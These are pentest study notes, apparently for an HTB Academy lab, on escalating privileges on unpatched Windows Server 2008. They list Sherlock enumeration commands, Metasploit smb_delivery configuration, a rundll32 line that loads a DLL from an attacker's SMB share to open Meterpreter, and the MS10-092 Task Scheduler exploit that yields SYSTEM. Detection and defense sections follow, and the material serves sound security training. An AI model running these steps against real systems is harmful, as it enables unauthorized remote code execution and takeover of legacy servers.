🖥️Windows Server 2008

🎯 Overview

Windows Server 2008/2008 R2 reached end-of-life January 14, 2020 and lacks modern security features. Legacy systems are commonly found in medical settings, universities, and government offices running mission-critical applications. These systems present significant privilege escalation opportunities through missing patches and kernel exploits.

📊 Security Feature Comparison

Server Version Security Matrix

Feature                              | 2008 R2 | 2012 R2 | 2016 | 2019
-------------------------------------|---------|---------|------|------
Enhanced Windows Defender ATP        |    ❌   |    ❌   |  ✅  |  ✅
Just Enough Administration           | Partial | Partial |  ✅  |  ✅  
Credential Guard                      |    ❌   |    ❌   |  ✅  |  ✅
Remote Credential Guard               |    ❌   |    ❌   |  ✅  |  ✅
Device Guard (code integrity)        |    ❌   |    ❌   |  ✅  |  ✅
AppLocker                             | Partial |    ✅   |  ✅  |  ✅
Windows Defender                      | Partial | Partial |  ✅  |  ✅
Control Flow Guard                    |    ❌   |    ❌   |  ✅  |  ✅

# Result: Server 2008 lacks most modern security protections

🔍 Patch Level Enumeration

WMI Hotfix Query

# Check installed patches:
wmic qfe

# Example output (severely outdated):
Caption                                     HotFixID   InstallDate  InstalledBy
http://support.microsoft.com/?kbid=2533552  KB2533552  3/31/2021    WINLPE-2K8\Administrator

# Analysis: Only one patch since 2021 = highly vulnerable

System Information Gathering

# Comprehensive system details:
systeminfo

# Key information:
- OS Version: Windows Server 2008 R2
- Install Date: Check age of system
- Hotfixes: List of installed patches
- Network Configuration: Domain membership

🔧 Sherlock Vulnerability Assessment

Sherlock Script Usage

# Set execution policy:
Set-ExecutionPolicy bypass -Scope process

# Import and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulns

Common Server 2008 Vulnerabilities

# Typical Sherlock findings:
MS10-092 (CVE-2010-3338)  # Task Scheduler XML - Appears Vulnerable
MS15-051 (CVE-2015-1701)  # ClientCopyImage Win32k - Appears Vulnerable  
MS16-032 (CVE-2016-0099)  # Secondary Logon Handle - Appears Vulnerable

# 64-bit limitations:
MS10-015 (KiTrap0D)       # Not supported on 64-bit systems
MS13-053 (Win32k Pool)    # Not supported on 64-bit systems
MS16-016 (WebDAV)         # Not supported on 64-bit systems

🚀 Metasploit Privilege Escalation

SMB Delivery Module Setup

# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery

# Configure options:
set LHOST <attacker_ip>
set SRVHOST <attacker_ip>
set target 0                    # DLL target
exploit

# Result: Rundll32 command for target execution
rundll32.exe \\<attacker_ip>\<share>\test.dll,0

Initial Shell Acquisition

# Execute on target (Command Prompt):
rundll32.exe \\10.10.14.3\lEUZam\test.dll,0

# Result: Meterpreter session as current user
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609)

Process Migration for 64-bit

# Check current process:
meterpreter > getpid
Current pid: 2268

# List processes:
meterpreter > ps

# Migrate to 64-bit process:
meterpreter > migrate 2796    # Choose x64 process
[*] Migration completed successfully.

# Background session:
meterpreter > background

MS10-092 Privilege Escalation

# Use Task Scheduler exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <attacker_ip>
set LPORT 4443
exploit

# Exploit process:
[*] Creating task: isqR4gw3RlxnplB
[*] Reading task file contents...
[*] Writing modified content back...
[*] Executing the task...
[*] Deleting the task...

# Result: NT AUTHORITY\SYSTEM shell

🎯 HTB Academy Lab Walkthrough

Lab Environment

# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Target: Windows Server 2008 R2
# Objective: Get Administrator flag.txt

Step-by-Step Solution

1. Initial Access

# Connect via RDP:
rdesktop -u htb-student -p 'HTB_@cademy_stdnt!' <target_ip>
# Alternative if xfreerdp fails:
# rdesktop -u htb-student -p HTB_@cademy_stdnt! <target_ip>

2. Patch Level Enumeration

# Open Command Prompt and check patches:
wmic qfe

# Expected result: Very few patches, severely outdated system
Caption                                     HotFixID   InstallDate
http://support.microsoft.com/?kbid=2533552  KB2533552  3/31/2021

3. Vulnerability Assessment

# Set PowerShell execution policy:
Set-ExecutionPolicy bypass -Scope process
# Choose: Y (Yes)

# Navigate to tools and run Sherlock:
cd C:\Tools\
Import-Module .\Sherlock.ps1
Find-AllVulns

# Key findings:
MS10-092 - Task Scheduler .XML - Appears Vulnerable
MS15-051 - ClientCopyImage Win32k - Appears Vulnerable
MS16-032 - Secondary Logon Handle - Appears Vulnerable

4. Metasploit Setup (Attack Machine)

# Start Metasploit:
sudo msfconsole -q
use exploit/windows/smb/smb_delivery

# Configure module:
set LHOST <your_vpn_ip>
set SRVHOST <your_vpn_ip>
exploit

# Copy the rundll32 command provided
# Example: rundll32.exe \\10.10.14.80\tXWM\test.dll,0

5. Initial Shell (Target Machine)

# Execute in Command Prompt on target:
rundll32.exe \\<your_vpn_ip>\<share>\test.dll,0

# Result: Meterpreter session established

6. Process Migration (Attack Machine)

# Interact with session:
sessions -i 1

# Check processes and migrate to 64-bit:
ps
migrate <64bit_process_pid>    # e.g., migrate 1304

# Background session:
bg

7. Privilege Escalation

# Use MS10-092 exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <your_vpn_ip>
set LPORT 4443
exploit

# Result: New session as NT AUTHORITY\SYSTEM

8. Flag Retrieval

# Drop to shell:
shell

# Get Administrator flag:
type C:\Users\Administrator\Desktop\flag.txt

# Expected result: Flag content displayed

🔄 Alternative Privilege Escalation Methods

Manual Exploit Compilation

# For environments where Metasploit is restricted:
# Download exploit source code from exploit-db
# Compile on Windows or cross-compile on Linux
# Transfer to target and execute

# Example MS15-051 compilation:
# Download: https://www.exploit-db.com/exploits/37367/
# Compile with Visual Studio or mingw
# Execute: .\ms15-051.exe "cmd.exe"

PowerShell-Based Exploits

# PowerUp for comprehensive enumeration:
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Specific checks for Server 2008:
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService

🛠️ Legacy System Considerations

Business Context Assessment

# Consider before recommending removal:
- Mission-critical software dependencies
- Cost of system replacement/upgrade
- Regulatory compliance requirements
- Vendor support availability
- Network segmentation controls
- Extended support contracts

# Medical/Industrial examples:
- MRI software on Windows XP/7
- Manufacturing control systems
- Legacy database applications
- Specialized hardware drivers

Risk Mitigation Strategies

# When systems cannot be upgraded:
- Network segmentation/isolation
- Additional monitoring and logging
- Custom extended support contracts
- Application allowlisting
- Enhanced access controls
- Regular vulnerability assessments
- Incident response planning

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Sherlock script execution
- Metasploit SMB delivery usage
- Rundll32 execution with UNC paths
- Task Scheduler exploit signatures
- Process migration activities
- Unusual scheduled task creation/deletion

Defensive Measures

# Legacy system protection:
- Apply all available security patches
- Implement network segmentation
- Deploy endpoint detection and response
- Monitor for exploit signatures
- Restrict administrative access
- Regular security assessments
- Plan for system modernization

💡 Key Takeaways

1. Server 2008 lacks modern security features and is highly vulnerable

2. Patch enumeration reveals missing critical security updates

3. Sherlock provides comprehensive vulnerability assessment for legacy systems

4. MS10-092 Task Scheduler exploit is reliable for Server 2008 privilege escalation

5. Process migration to 64-bit required for some exploits

6. Business context critical when dealing with legacy systems

7. Multiple escalation vectors available on unpatched systems

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Windows Server 2008 systems represent high-value targets due to missing security features and unpatched vulnerabilities, but business considerations must guide remediation recommendations.